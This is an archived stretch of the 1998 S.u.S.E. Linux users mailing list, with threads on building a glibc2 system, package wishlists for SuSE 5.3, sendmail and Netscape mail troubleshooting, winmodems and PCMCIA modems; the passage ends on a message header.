will send you gzipped versions for libc5.

J. Mark Brooks wrote:
>=20
> Sounds like a good list of items to me.  So, where would I find these
> now?

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From dwj@aaronsrod.com Tue Jun  9 21:55:33 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Tue, 09 Jun 1998 14:55:33 -0700
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On Tue, 9 Jun 1998, Juergen Braukmann wrote:

> > Howard Arons wrote:
> > 
> > > Whenever I try to use Netscape 4.04 mail "offline," the program
> > > freezes and the windows go blank, requiring a "kill" command.

Just set outgoing mail server and incoming mail server to 'localhost'.
Your onboard sendmail daemon will then handle the mail.

Dwight


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From satan@nfinity.com Tue Jun  9 22:10:46 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] glibc2
Date: Tue, 09 Jun 1998 17:10:46 -0500
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I've decided to attempt to turn my SuSE 5.2 box into a functioning
glibc2 system.  I will let you know how painful/painless this process
is, or whether I lose heart and give up and decide to wait for SuSE
6.0.  Having been a lifelong Redwings fan, as well as a big football
(soccer in the usa :P) fan, I intend to spend much of the next month
attached to my favorite barcalounger, eating junk food and watching the
greatest sporting events known to man, the Stanley and World Cups.  In
the remaining free moments I have I'll let you know how the conversion
goes. Go Wings!  Go USA!

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From root@intergate.bc.ca Tue Jun  9 22:13:31 1998
From: root@intergate.bc.ca
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Subject: Re: [S.u.S.E. Linux] glibc2
Date: Tue, 09 Jun 1998 15:13:31 -0700
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hmmm.. I'm a caps fan. Born and raised in Washington Metropoliton area
(bethesda,md). Talk about a lopsided cup from standpoints of the spread!!
Ouch. Should be fun (but more for you maybe than me ). Look forward
to you glibc info. I have been considering it myself, but have opted to be
patience and wait for the experts at SuSE to do thier thing. 

Go Caps :::meekly::::  

She said: "You know you aren't a very good singer..."
I said:   "That's nothing!! You should hear me play piano !!"
Morrissey	

On Tue, 9 Jun 1998, Michael Lankton wrote:

> 
> I've decided to attempt to turn my SuSE 5.2 box into a functioning
> glibc2 system.  I will let you know how painful/painless this process
> is, or whether I lose heart and give up and decide to wait for SuSE
> 6.0.  Having been a lifelong Redwings fan, as well as a big football
> (soccer in the usa :P) fan, I intend to spend much of the next month
> attached to my favorite barcalounger, eating junk food and watching the
> greatest sporting events known to man, the Stanley and World Cups.  In
> the remaining free moments I have I'll let you know how the conversion
> goes. Go Wings!  Go USA!
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From dwj@aaronsrod.com Wed Jun 10 00:06:57 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] glibc2
Date: Tue, 09 Jun 1998 17:06:57 -0700
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On Tue, 9 Jun 1998, Michael Lankton wrote:

> I've decided to attempt to turn my SuSE 5.2 box into a functioning
> glibc2 system.  I will let you know how painful/painless this process
> is, or whether I lose heart and give up and decide to wait for SuSE
> 6.0. =20

I'm coming into this thread late but have you seen the glibc howto
at:

http://huizen.dds.nl/~frodol/glibc>

Dwight


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From jonathan@aracnet.net Wed Jun 10 02:57:53 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 22:57:53 -0400
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On 09-Jun-98 Steven Udell wrote:

> Why SuSE 5.3?
>=20
> I can't imagine what the differences that SuSE 5.3 will have over 5.2
> SuSE.

Packages, man!  I see SuSE as the leader in packages, your average user will
probably use 100f the packages, but it differs for each person.  For
example, I'll be anxious to see the latest KDE, I may get involved with JDK 1=
.2
(when available), gotta have XFMail 1.3, hope someday they see the
unquestionable superiority of FetchPOP over anything else (insert smiley here=
),
a Wine package that fixes what got broken from 5.1 to 5.2, up-to-date sources
and docs... ad infinitum, ad nauseum.

There's enough reason to stay subscribed and I will boldly say even to have an
interim release before glibc2.  As long as it keeps packages a) up to date and
b) adds new packages.

Now we need some sort of hard-drive subscription program...

> I would really like not to be the "last one on the block" to be able to
> use
> one new feature such as glibc2. =20

I'm ANXIOUSLY/impatiently awaiting it so I can use KPilot.

> I would very much like to figure out how to tweak my current box to
> support
> the now linux standard of glibc2.  Everything is going that way, why
> wait.

For us hackish types, I strongly agree.  I can't let well enough alone on my
machine.  If something works, time to break it!

..however...

If you wanted to set up an enterprise level server, grab a solid release and
STAY with it.  I feel I could confidently recommend SuSE 5.x in a corporate
environment but if they rush a new technology into it, I wouldn't.

There is a glibc-HOWTO though, so you can add it yourself.  I skimmed it, but
haven't the guts to try (yet).

> Linux is for testing/haveing fun/tweaking/hacking you name it.=20

Partly, yes!  (This is my main use of it)  Once tested, though, put it to wor=
k,
and boy, will it work.

> Kernel 2.0.34 is out and stable from what I have heard, SuSE "heavly -
> patches" thier Kernels, so in waiting for SuSE to update thier ftp site
> with .34, I am wonder what they patch exacly to make it thier own
> version

Good question.  I presumed mostly security?

> So does SuSE have a wish list, to like make comments on what they should
> have
> on a up-and-comming distro of thiers? if so where do I find it?

Yeah, and is FetchPOP on it yet?


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From jonathan@aracnet.net Wed Jun 10 03:11:32 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Tue, 09 Jun 1998 23:11:32 -0400
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On 09-Jun-98 Michael Lankton wrote:
>=20
> OK, here's what I think SuSE would benefit from including.  I'm leaving

> 1. StarOffice- this is free, unlike Corel and Applix, and a nice office

YES!  I would also like to see LaTeX broken down into much smaller packages. =
 I
installed it on a notebook with 4 or 5 diskettes so I know it can be done.

> 4. Xenon- an excellent and lightweight text editor for x...think notepad
> for linux.  Very cool.

Oooh, on my search list!

> 8. Games
>       Doom
>       Xmame- the best emulator is finally as good in linux as in win95.

        I'd say Descent, but you need the registered game files (*.PIG? *.HOG=
?=20
I forget).  I would *love* to see that.


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From schullersite@worldnet.att.net Wed Jun 10 03:49:16 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 22:49:16 -0500
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> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of jonathan(a)aracnet.net
> Sent: Tuesday, June 09, 1998 9:58 PM
> To: suse-linux-e(a)suse.com
> Subject: RE: [S.u.S.E. Linux] SuSE 5.3?
>
>
>
>
> On 09-Jun-98 Steven Udell wrote:
>
> > Why SuSE 5.3?
> >
> > I can't imagine what the differences that SuSE 5.3 will have over 5.2
> > SuSE.
>
> Packages, man!  I see SuSE as the leader in packages, your
> average user will
> probably use 100f the packages, but it differs for each person.  For
> example, I'll be anxious to see the latest KDE, I may get
> involved with JDK 1.2
> (when available), gotta have XFMail 1.3, hope someday they see the
> unquestionable superiority of FetchPOP over anything else (insert
> smiley here),
> a Wine package that fixes what got broken from 5.1 to 5.2,
> up-to-date sources
> and docs... ad infinitum, ad nauseum.
>
> There's enough reason to stay subscribed and I will boldly say
> even to have an
> interim release before glibc2.  As long as it keeps packages a)
> up to date and
> b) adds new packages.
>
> Now we need some sort of hard-drive subscription program...
>
> > I would really like not to be the "last one on the block" to be able to
> > use
> > one new feature such as glibc2.
>
> I'm ANXIOUSLY/impatiently awaiting it so I can use KPilot.
>
> > I would very much like to figure out how to tweak my current box to
> > support
> > the now linux standard of glibc2.  Everything is going that way, why
> > wait.
>
> For us hackish types, I strongly agree.  I can't let well enough
> alone on my
> machine.  If something works, time to break it!
>
> ..however...
>
> If you wanted to set up an enterprise level server, grab a solid
> release and
> STAY with it.  I feel I could confidently recommend SuSE 5.x in a
> corporate
> environment but if they rush a new technology into it, I wouldn't.
>
> There is a glibc-HOWTO though, so you can add it yourself.  I
> skimmed it, but
> haven't the guts to try (yet).
>
> > Linux is for testing/haveing fun/tweaking/hacking you name it.
>
> Partly, yes!  (This is my main use of it)  Once tested, though,
> put it to work,
> and boy, will it work.
>
> > Kernel 2.0.34 is out and stable from what I have heard, SuSE "heavly -
> > patches" thier Kernels, so in waiting for SuSE to update thier ftp site
> > with .34, I am wonder what they patch exacly to make it thier own
> > version
>
> Good question.  I presumed mostly security?
>
> > So does SuSE have a wish list, to like make comments on what they should
> > have
> > on a up-and-comming distro of thiers? if so where do I find it?
>
> Yeah, and is FetchPOP on it yet?
>
> ---
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> http://members.xoom.com/JMarkevich>
>
> There are no games on this system.  (Lie!)
>
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Psst!  How big (in filesize) is the kernel +source?  I'm stuck with an
anemic 33.6 modem.

Is it a .rpm package, or?

Ken Schuller
Network Systems Specialist  (and proud SuSE 5.2 user)
NovaNET Learning, Inc.


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From jkrough@mindspring.com Wed Jun 10 04:51:18 1998
From: jkrough@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Syquest Sparq
Date: Tue, 09 Jun 1998 23:51:18 -0500
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Has anybody used the Syquest Sparq with Linux?

Jerome K.


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From dana@ntd.net Wed Jun 10 05:15:39 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Wed, 10 Jun 1998 00:15:39 -0500
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Wolfgang Weisselberg wrote:

> Hi!
>
> Trying to kill the keyboard, hatridge(a)straubing.baynet.de produced:
> > to bring down the system or open the box. And whatever you do DON'T get a
> > winmodem. They are junk to start with and get worst as you go along. You
>
> Winmodems are probably OK for Windows. But since they lack essential
> hardware (and have to use the CPU of the computers using a proprietary
> DLL to compensate) they simply won't work with anything else, e.g.
> Linux.

Or DOS for that matter. ;-)

Dana


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From satan@nfinity.com Wed Jun 10 05:16:46 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE-5.2g DAY ONE
Date: Wed, 10 Jun 1998 00:16:46 -0500
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Ok, I started with a clean slate.  Formatted and reinstalled, using
SuSE's minimal configuration (49 mb).  Added gcc, libc, make, autoconf,
texinfo, bison, flex, automake and I'm sure others that I'm forgetting. 
Installed binutils-2.9.1 from source, then started on glibc.  Used
glibc-2.0.6 with the crypt, linuxthreads and localedata add ons. 
Configured it as my primary c library instead of a test install, and
compiled the works (sheesh, I thought mico took a long time to compile,
glibc took 50 minutes on my p200mmx).  Anyway, so far, so good.  Now I'm
gonna finish watching Baron von Munchausen and get to bed so I can wake
up for soccer in the morning.  
First thing tomorrow I'll link my fresh glibc to my compiler (which has
been gcc-2.7.2.1 so far), build egcs-1.0.3a and a fresh kernel and then
figure out what's next. Til then.

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From dwj@aaronsrod.com Wed Jun 10 05:19:12 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] SuSE 5.3?
Date: Tue, 09 Jun 1998 22:19:12 -0700
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On Tue, 9 Jun 1998 jonathan(a)aracnet.net wrote:

> I'm ANXIOUSLY/impatiently awaiting it so I can use KPilot.
> 
> For us hackish types, I strongly agree.  I can't let well enough alone on my
> machine.  If something works, time to break it!

If you want to be out on the frontier and don't mind if something
breaks because you know how to fix it, you might be happier with
Red Hat. Red Hat has been on glibc since December. Of course,
in the first 60 days, it rebuilt the glibc package at least eight
times and dozens of other packages that were broke. Also, many,
many packages where you might want to be out on the latest release,
did not even support glibc at first, so you were stuck with an old
release until the maintainers of each package got busy on it.
There were really no tangible benefits of using glibc--it is
mainly preparing for the future when it will be mandatory.
But it is very exciting and educational to use Red Hat and to
make daily changes to your system to fix things that are broke.
Red Hat must certainly be applauded for leading the industry
into glibc. There can be no doubt that they have put a fire
to the feet of package maintainers because Red Hat is too
important a distribution to ignore. If stability is important
to you, however, you will not want to go with every Red Hat
release.

I have both Red Hat and SuSE on my main system. By sharing
/home, /opt, and /usr/src between them, I can do my daily work 
in either one of them with equal ease. I may do this same
kind of thing with other distributions in the future if my
work requires it.

SuSE, being a considerably larger distribution and also refining
each package to a much greater extent, has much more to get 
working under glibc, so it is understandable that it is taking
longer to deploy it.

Dwight


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From kar@webline.dk Wed Jun 10 05:22:50 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Wed, 10 Jun 1998 07:22:50 +0200
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Of course Apache 1.3 and PHP 3.0 have just been released. Awesome pair
to get into 5.3 (with SSL, like 1.2 now).

And yes, still I want Gnome.


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From dana@ntd.net Wed Jun 10 05:25:15 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3?
Date: Wed, 10 Jun 1998 00:25:15 -0500
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Kenneth W. Schuller wrote:



> Psst!  How big (in filesize) is the kernel +source?  I'm stuck with an
> anemic 33.6 modem.
>
> Is it a .rpm package, or?

You don't have to quote an *ENTIRE* thread Ken.  Just the relevant
parts would do.  You need to download the source for 2.0.34.  Here's
the url: http://www.kernel.org/pub/linux/kernel/v2.0/linux-2.0.34.tar.gz>
It's 6.5MB.

Dana


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From alfiesty@chaffee.net Wed Jun 10 05:38:36 1998
From: alfiesty@chaffee.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] There's a PLAN???
Date: Tue, 09 Jun 1998 23:38:36 -0600
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Aaron sez:
>Is there any specific site that describes what the plan is for the next
>couple years for the development of linux?
>
>--
>Aaron Seelye 
>
Subject line sez it all.
Jim


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From martin_moeller@technologist.com Wed Jun 10 08:48:06 1998
From: martin_moeller@technologist.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] S.u.S.E. 5.3
Date: Wed, 10 Jun 1998 10:48:06 +0200
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Hello.

 With all the suggestions flying around I'd like to make a few myself
(very few this time around):

TrueType X Servers:

ftp://sunsite.unc.edu/pub/Linux/X11/fonts=
/> - for xfstt. Seems to have
been made from scratch. Works quite well at my end, though I'd really
like a clarification on how to use truetype fonts with StarOffice
(WordPerfect?), preferrably in form of scripts...

and=20

http://www.dcs.ed.ac.uk/home/=
jec/programs/xfsft/> - for xfsft, I think.
This is based on the FreeType project. I haven't checked it out too
much...


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From weissel@jupiter.ph-cip.uni-koeln.de Wed Jun 10 08:53:30 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSEconfig and default runlevel
Date: Wed, 10 Jun 1998 10:53:30 +0200
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Hi!

Trying to kill the keyboard, jmbrooks(a)bigfoot.com produced:
> 
> I don't see this among my options in he rc.config file or under YAST. 
> Where is this?
> > #
> > # SuSEconfig can do some modifications to /etc/inittab.  If you don't want
> > # this, set CHECK_INITTAB to no.  (yes/no)
> > #
> > CHECK_INITTAB=yes

If it's not in your /etc/rc.config, just append it.

-Wolfgang


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From hatridge@straubing.baynet.de Wed Jun 10 17:25:23 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Wed, 10 Jun 1998 19:25:23 +0200
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On Tue, 9 Jun 1998, Wolfgang Weisselberg wrote:

> 
> Hi!
> 
> Trying to kill the keyboard, hatridge(a)straubing.baynet.de produced:
> > to bring down the system or open the box. And whatever you do DON'T get a
> > winmodem. They are junk to start with and get worst as you go along. You
> 
> Winmodems are probably OK for Windows. But since they lack essential
> hardware (and have to use the CPU of the computers using a proprietary
> DLL to compensate) they simply won't work with anything else, e.g.
> Linux.
> 
> -Wolfgang

Hi Wolfgang,

You're right, winmodems are probably ok for gatesware. But nothing else!
Once someone gets passed kindergarden they will want a real modem. Then
they will be kicking their butts for spending money on a toy. So the
bottom line is don't get trapped by the evil empire!

JIM

-----------------------------------------
Jim Hatridge
Germany 
hatridge(a)straubing.baynet.de

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From hlarons@ComCAT.COM Wed Jun 10 18:01:30 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Wed, 10 Jun 1998 14:01:30 -0400
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Dwight Johnson wrote:
> 
> On Tue, 9 Jun 1998, Juergen Braukmann wrote:
> 
> > > Howard Arons wrote:
> > >
> > > > Whenever I try to use Netscape 4.04 mail "offline," the program
> > > > freezes and the windows go blank, requiring a "kill" command.
> 
> Just set outgoing mail server and incoming mail server to 'localhost'.
> Your onboard sendmail daemon will then handle the mail.
> 
> Dwight
> 
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Well, you see, Dwight, the problem is that I'm using Netscape Mail
'cause I never could get sendmail to work for me to send outgoing mail
(from Mutt) to my SMTP server over a PPP connection.

One "fix" that may work--I'm still testing-- is to start Netscape Mail
directly with the following switches: -no-install
-no-session-management -mail

Thanks to you and everyone else who responded. This is definitely a
work in progress.

Howard Arons

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From hatridge@straubing.baynet.de Wed Jun 10 18:43:32 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Can't chdir
Date: Wed, 10 Jun 1998 20:43:32 +0200
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Hi all;

When I'm using MC and try "cd b:" I get this error 

        Can't chdir to "b:" 
        No such file or directory (2)

I do have mtools load (I use it) and MC will cd to my A foppy. Also I can
see the b floppy in the command line and even mount/umount it. 

Any Ideas?

JIM
-----------------------------------------
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Germany 
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From dwj@aaronsrod.com Wed Jun 10 19:54:31 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Wed, 10 Jun 1998 12:54:31 -0700
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On Wed, 10 Jun 1998, Howard Arons wrote:

> 
> Dwight Johnson wrote:
> > 
> > Just set outgoing mail server and incoming mail server to 'localhost'.
> > Your onboard sendmail daemon will then handle the mail.
> 
> Well, you see, Dwight, the problem is that I'm using Netscape Mail
> 'cause I never could get sendmail to work for me to send outgoing mail
> (from Mutt) to my SMTP server over a PPP connection.

If you are currently logged on, hang up. Now:

1) Is sendmail running as a daemon? Check this by issuing:

# ps ax | grep sendmail
  157  ?  S    0:00 sendmail: accepting connections on port 25 
 1802  pb S    0:00 grep sendmail 

2) Change outgoing mailserver to 'localhost' in Netscape as I suggested
and send a test mail to hlarons(a)ComCAT.COM.

3) Look in the mail queue to see the message waiting there by
issuing the command:

# ls /var/mqueue
dfMAA01755  qfMAA01755

4) Dial up your ISP and get Internet PPP going.

4) Send the mail with sendmail by issuing:

# sendmail -v -q

What do you see?

Dwight


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From satan@nfinity.com Wed Jun 10 21:12:41 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Wed, 10 Jun 1998 16:12:41 -0500
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..as well as a new bash and a new libc5.  There will always be the meat
and potatoes upgrades to make with each new dist, I think the challenge
is for SuSE to offer something new with each new dist, not just
incremental upgrades of basic libraries and tools.

Kaare Rasmussen wrote:
> 
> Of course Apache 1.3 and PHP 3.0 have just been released. Awesome pair
> to get into 5.3 (with SSL, like 1.2 now).
> 
> And yes, still I want Gnome.
> 
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From jonathan@aracnet.net Wed Jun 10 21:56:34 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] SuSE 5.3?
Date: Wed, 10 Jun 1998 17:56:34 -0400
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On 10-Jun-98 Dwight Johnson wrote:
>> I'm ANXIOUSLY/impatiently awaiting it so I can use KPilot.
>>=20
>> For us hackish types, I strongly agree.  I can't let well enough alone on =
my
>> machine.  If something works, time to break it!
>=20
> If you want to be out on the frontier and don't mind if something
> breaks because you know how to fix it, you might be happier with
> Red Hat. Red Hat has been on glibc since December. Of course,

Well, I'm only doing this late-night/spare time, so SOME stability &
reliability is required.  I want to break it, but I still want to be able to
print something or read my mail.

> SuSE, being a considerably larger distribution and also refining
> each package to a much greater extent, has much more to get=20
> working under glibc, so it is understandable that it is taking
> longer to deploy it.

As with KDE, I see it in this machine's future, but I can wait a few months.


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From misc.word.corp@pobox.com Wed Jun 10 22:45:27 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Wed, 10 Jun 1998 18:45:27 -0400
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As for plugging a WM binary into 5.3, I second the motion, most
definitely!

I agree -- WM is far more configure-friendly than AS -- that is, once
you adjust to the convoluted directory tree that compiling the binary
leaves on the system. As far as eye-candy goes, thanks to OctoberX and
the Themes.org people, my desktop is visually refreshing to an extent
not possible with Enlightenment. (Note the word "refreshing" --
Enlightenment, though cool when you launch it, seems to exert a dragging
effect on my brain (not to mention system) with its dark color scheme.)

Still, I wouldn't mind seeing the new, started-from-scratch version of
Enlightenment make its way into 5.3 -- but I doubt if developers
Mandrake and Rasterman will get it out in time to burn into the CD.

As for Gnome -- a definite must. Case closed.

-- Glenn --

PS -- Good luck to Michael on your venture into the uncharted waters of
glibc! Hang in there, man. Looking forward to the updates.


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From satan@nfinity.com Thu Jun 11 03:54:17 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.2g DAY TWO
Date: Wed, 10 Jun 1998 22:54:17 -0500
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Ok, picking up where I left off last night, I set up all the necessary
symlinks and installed my fresh glibc2. Compiling a small c program and
checking it with ldd, I verified that my compiler (still gcc-2.7.2.1)
was indeed now linked to glibc.  I left libc5 and libm5 in /lib, just so
the few things I had built against libc5 (binaries from my "Minimal"
install) wouldn't be broken, until I was sure I could live completely
libc5-free.
Everything I was building from this point on was glibc, but I still had
X and the bare necessities linked against libc5.  I built a fresh
kernel, rebuilt some of the basics now with glibc like bash and things I
would need for compiling stuff (bison, flex, make, guile, termcap, blah
ad infinitum; I essentially compiled stuff all day long), and built
egcs-1.0.3a.  All of this went off without a hitch, so I booted my fresh
kernel.  Everything came back on line, I verified the versions of all
the programs I had compiled under glibc, and oddly enough I wasn't
running into any problems.  None.  
I set up networking and spent a brief time doing everyday stuff like web
browsing and irc.  I spent some more time compiling libs and apps, and
I've come to some conclusions. 
 
Originally my intention was to produce a 100 0libc based system.  
A) That is a really ambitious project, and it makes you appreciate the
work the people at SuSE, RedHat, Debian, Stampede, etc. do. 
B) The more I worked in my new glibc based system I saw no reason to
eliminate libc5.  The integration between my newly built glibc based
apps and libs and my existing libc5 based apps and libs was pretty
seamless.  
C) I noticed that some things that built fine under SuSE 5.2 didn't
build under SuSE 5.2g.  This was consistent with my brief RedHat 5.0
experience (Donnie, you know I don't mean that as an assault on RedHat,
so don't get bent ;) ).  I am not discounting operator error by any
means,  but regardless, I feel that glibc DOES choke on some source code
that doesn't pose problems for libc5.  In all fairness, this is probably
because the development boxes were libc5 based, much the same way that
Gnome doesn't like libc5 much because it is being developed (primarily)
on glibc (although I saw one Gnome developer proclaim on the Gnome
mailing list that he uses a libc5 box for development).  
D) Gnome _does_build_better_ in a glibc environment, but a couple of
packages still gave my box the hiccups.  I had as much luck getting mc
to compile in glibc as I did in libc5.  Is Gnome ready for the desktops
of America's linux users?  Not really.  Is Gnome something we should all
be keeping a watchful eye on?  You bet.  I think it's a popular
misconception to think of Gnome as a gtk-based kde.  This is developing
technology (gnome and gtk) that is window manager independent and in the
case of gtk we have a rapidly maturing interface that in time will allow
the user to custom tailor the look to a degree that motif and qt simply
aren't capable of. 

I was really surprised how painless the whole glibc thing was.  I
expected several days and many set backs getting things functioning. 
What I didn't expect was how peacefully libc5 would coexist with glibc. 
I could spend several more days converting to a solely glibc based
system, but I don't really see the point now.  I am going to reformat,
do my regular SuSE install and then install glibc as a secondary c
library so that I can link it for apps that, well who am I kidding, so I
can keep compiling Gnome snapshots ;).  But I am going to keep libc5 as
my primary c library, because, for now, it seems to be more
reliable/predictable for compiling source, something we all do a lot
of.  I'll let you know if I run into any problems, any apps or libs
getting broken somehow, but libc5 and glibc seem to do all right
together, something I wouldn't have expected.

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From kar@webline.dk Thu Jun 11 06:03:03 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 08:03:03 +0200
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> ..as well as a new bash and a new libc5.  There will always be the meat

Wow! So they already have a Gnome somewhere in 5.2? Could you point me
to the exact location on which CD?

>> And yes, still I want Gnome.

> Of course Apache 1.3 and PHP 3.0 have just been released. Awesome pair

And the same with PHP.


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From deem@wdm.com Thu Jun 11 06:29:49 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE Linux
Date: Wed, 10 Jun 1998 22:29:49 -0800
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With all the discussion about 5.3 out and what is=20
in the distributions.....
Look at http://www.suse.com/P=
roduct/lx52/index.html#NEW>
and tell me that SuSE's track record doesn't have "meat & potatoes"
upgrades in it's releases.=20

Get out of the "cheese & cracker club" and stop whining.
Let the good folks do what they do well and that is put out
a whoppin good distribution.

-Regards
Dee

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
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From deem@wdm.com Thu Jun 11 06:33:57 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Wed, 10 Jun 1998 22:33:57 -0800
Message-ID: <199806110633.WAA00780@wdm.com>
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Kaare Rasmussen  wrote:
>=20
> > ..as well as a new bash and a new libc5.  There will always be the meat
>=20
> Wow! So they already have a Gnome somewhere in 5.2? Could you point me
> to the exact location on which CD?
>=20
> >> And yes, still I want Gnome.

No Gnome in 5.2 here :
http://www.suse.com=
/Product/lx52/pak_e/serie_xwm.html>
http://www.suse.c=
om/Product/lx52/pak_e/serie_xdev.html>
http://www.suse.com=
/Product/lx52/pak_e/serie_xap.html>
etc.

Don't see it it in 5.2

-Dee

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From jpcowh01@ox.slug.louisville.edu Thu Jun 11 07:03:29 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 03:03:29 -0400
Message-ID: <199806110703.DAA20291@ox.slug.louisville.edu>
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> No Gnome in 5.2 here :
> http://www.suse=
.com/Product/lx52/pak_e/serie_xwm.html>
> http://www.sus=
e.com/Product/lx52/pak_e/serie_xdev.html>
> http://www.suse=
.com/Product/lx52/pak_e/serie_xap.html>
> etc.
>=20
> Don't see it it in 5.2
>=20

        Can Gnome be compiled with libc5?  If so won't compiling from the sou=
rce file make it more reliable than a rpm with executable binaries?
        I've installed glibc2 with 5.2, and I used it to compile various thin=
gs (kernel, c homework, etc)  My box would hang for no apparent reason.  I re=
installed the libc stuff and my computer is back to normal...  I'll wait, I'm=
 in no hurry...


--=20
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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
                  http://www.slug.louisville.=
edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
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From brauki@cityweb.de Thu Jun 11 09:04:47 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Thu, 11 Jun 1998 11:04:47 +0200
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you might need to reconfig sendmail via some m4 macro.
there is a description in the german SDB for that.

if it won't work, drop a few lines.

Jürgen

Dwight Johnson wrote:
> 
> On Wed, 10 Jun 1998, Howard Arons wrote:
> 
> >
> > Dwight Johnson wrote:
> > >
> > > Just set outgoing mail server and incoming mail server to 'localhost'.
> > > Your onboard sendmail daemon will then handle the mail.
> >
> > Well, you see, Dwight, the problem is that I'm using Netscape Mail
> > 'cause I never could get sendmail to work for me to send outgoing mail
> > (from Mutt) to my SMTP server over a PPP connection.
> 
> If you are currently logged on, hang up. Now:
> 
> 1) Is sendmail running as a daemon? Check this by issuing:
> 
> # ps ax | grep sendmail
>   157  ?  S    0:00 sendmail: accepting connections on port 25
>  1802  pb S    0:00 grep sendmail
> 
> 2) Change outgoing mailserver to 'localhost' in Netscape as I suggested
> and send a test mail to hlarons(a)ComCAT.COM.
> 
> 3) Look in the mail queue to see the message waiting there by
> issuing the command:
> 
> # ls /var/mqueue
> dfMAA01755  qfMAA01755
> 
> 4) Dial up your ISP and get Internet PPP going.
> 
> 4) Send the mail with sendmail by issuing:
> 
> # sendmail -v -q
> 
> What do you see?
> 
> Dwight
> 


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From mika@sweden.hp.com Thu Jun 11 12:09:56 1998
From: mika@sweden.hp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PCMCIA Serial card
Date: Thu, 11 Jun 1998 14:09:56 +0200
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Where can I get more information how to make a PCMCIA internal modem
working??

I've installed Suse 5.1 om my HP omnibook 5500 laptop and it works
great. The only thing
I can't mannage to get working is the modem.

When duelboot and run NT  the modem works ok, and when I boot Linux the
cardmgr recognizes the card. but when I run minicom I cant get in
conntact with the modem.

Any clues or helpfull links??

Thanks in advance

Michael


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From schullersite@worldnet.att.net Thu Jun 11 12:37:50 1998
From: schullersite@worldnet.att.net
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Subject: Re: [S.u.S.E. Linux] PCMCIA Serial card
Date: Thu, 11 Jun 1998 07:37:50 -0500
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-----Original Message-----
From: Michael Kalisz 
To: suse-linux-e(a)suse.com 
Date: Thursday, June 11, 1998 7:35 AM
Subject: [S.u.S.E. Linux] PCMCIA Serial card

>
>Where can I get more information how to make a PCMCIA internal modem
>working??
>
>I've installed Suse 5.1 om my HP omnibook 5500 laptop and it works
>great. The only thing
>I can't mannage to get working is the modem.
>
>When duelboot and run NT  the modem works ok, and when I boot Linux the
>cardmgr recognizes the card. but when I run minicom I cant get in
>conntact with the modem.
>
>
>Any clues or helpfull links??
>
>Thanks in advance
>
>Michael
>
>
>
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Michael-

Two things to look at:

1.  Make sure you have PCMCIA support in your kernel.  You may need to
recompile your kernel.  It's fairly painless.  :)

2.  Make sure you have the correct IRQ set for the modem.  Check and see
what NT's using, and then check and see what Linux is using by using the
setserial command.  If they differ, that's quite possibly where your problem
is.

Hope this helps.

Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.

Hope this helps.


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From Ted.Harding@nessie.mcc.ac.uk Thu Jun 11 13:24:33 1998
From: Ted.Harding@nessie.mcc.ac.uk
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] PCMCIA Serial card
Date: Thu, 11 Jun 1998 14:24:33 +0100
